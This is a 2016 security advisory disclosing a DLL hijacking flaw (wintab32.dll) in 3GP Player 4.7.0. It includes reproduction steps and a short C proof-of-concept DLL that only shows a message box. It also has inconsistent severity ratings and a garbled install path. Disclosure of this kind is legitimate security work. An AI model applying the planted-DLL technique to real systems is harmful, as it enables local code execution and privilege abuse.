3GP Player 4.7.0 - DLL Hijacking Vulnerability

fr ZwX (FR) fr
Risk: Medium
Local: Yes
Remote: No

Document Title: =============== 3GP Player 4.7.0 - DLL Hijacking Vulnerability Release Date: ============= 2016-09-22 Vulnerability Disclosure Timeline: ================================== 2016-09-23: Public Disclosure Product & Service Introduction: =============================== 3GP Player is a player specialized videos in 3GP format widely used by mobile phones. 3GP format and its variants (3GPP, 3GPP2, etc.) are used by many mobile phone manufacturers to store video. 3GP provides an easy way to play these videos on your PC. In use, 3GP Player disappoint with her too rudimentary interface. It offers only opening files and links to websites that host videos for mobile. (Copy of the Vendor Homepage: http://www.reganam.com/ ) Affected Product(s): ==================== Product: 3GP Player v4.7.0 - Software Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official 3GP Player v4.7.0 software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] 3GP Player Vulnerable Version(s): [+] v4.7.0 Vulnerable Libraries: [+] wintab32.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to wintab32.dll 2. Copy wintab32.dll to C:Program Files3GPplayer20113GP-player.exe 3. Launch 3GP Player.exe 4. MessageBox Executed -- PoC Exploit -- #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } Security Risk: ============== The security risk of the dll inject web vulnerability in the vulnerable software library is estimated as medium. (CVSS 5.6) [+] Disclaimer [+] =================== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ 0day.today/author/27461 Copyright © 2016 | ZwX - Security Researcher (Software & web application)

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